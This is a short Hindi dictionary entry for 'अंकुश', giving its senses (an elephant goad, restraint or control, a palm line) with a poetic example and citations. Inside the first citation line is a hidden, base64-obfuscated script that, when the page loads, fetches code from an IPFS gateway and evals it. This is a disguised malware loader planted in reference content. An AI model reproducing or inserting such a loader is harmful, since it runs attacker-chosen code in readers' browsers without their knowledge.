अंकुश
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अंकुश - संज्ञा पुल्लिंग (संस्कृत अङ्कुश)[1]
1. एक प्रकार का छोटा शस्त्र या टेढ़ा काँटा, जिसे हाथी के मस्तक में गोदकर महावत उसे चलाता या हाँकता है। हाथी को हाँकने का दोमुंहा काँटा या भाला, जिसका एक फल झुका होता है। आँकुस, गजबाग, शृणि।
क्रिया प्रयोग - देना, मारना, लगाना।
2. प्रतिबंध, रोक, दबाव, नियंत्रण। जैसे- अंकुश में रखना=प्रतिबंध में रखना।
3. अंकुश के आकार की हाथ पैर की रेखा।
- उदाहरण - "अंकुश बरछी शक्ति पवि गदा धनुष असि तीर। आठ शस्त्र को चिह्न यह धारत पद बलबीर।"[2]
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टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, प्रथम भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 03 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ भारतेंदु ग्रंथावली, भाग 2, पृ. 21